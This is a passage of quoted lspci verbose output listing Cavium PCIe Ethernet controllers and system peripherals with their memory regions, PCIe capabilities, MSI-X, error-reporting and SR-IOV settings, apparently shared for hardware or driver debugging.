> Latency: 0
> Region 2: [virtual] Memory at 84020c000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc240000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:00.7 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84020e000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc280000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:01.0 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 840210000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc2c0000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:01.1 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 840212000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc300000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:02:00.0 Ethernet controller: Cavium, Inc. Device a063 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 841200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc340000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable+ Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0005]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 3, Total VFs: 3, Number of VFs: 3, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a064
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
> Kernel driver in use: rvu_nicpf
>
> 0002:03:00.0 Ethernet controller: Cavium, Inc. Device a063 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 842200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc480000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable+ Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0005]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 3, Total VFs: 3, Number of VFs: 3, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a064
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
> Kernel driver in use: rvu_nicpf
>
> 0002:04:00.0 Ethernet controller: Cavium, Inc. Device a063 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 843200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc5c0000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable+ Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0005]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 3, Total VFs: 3, Number of VFs: 3, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a064
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
> Kernel driver in use: rvu_nicpf
>
> 0002:05:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 844200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc700000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:06:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 845200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc780000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
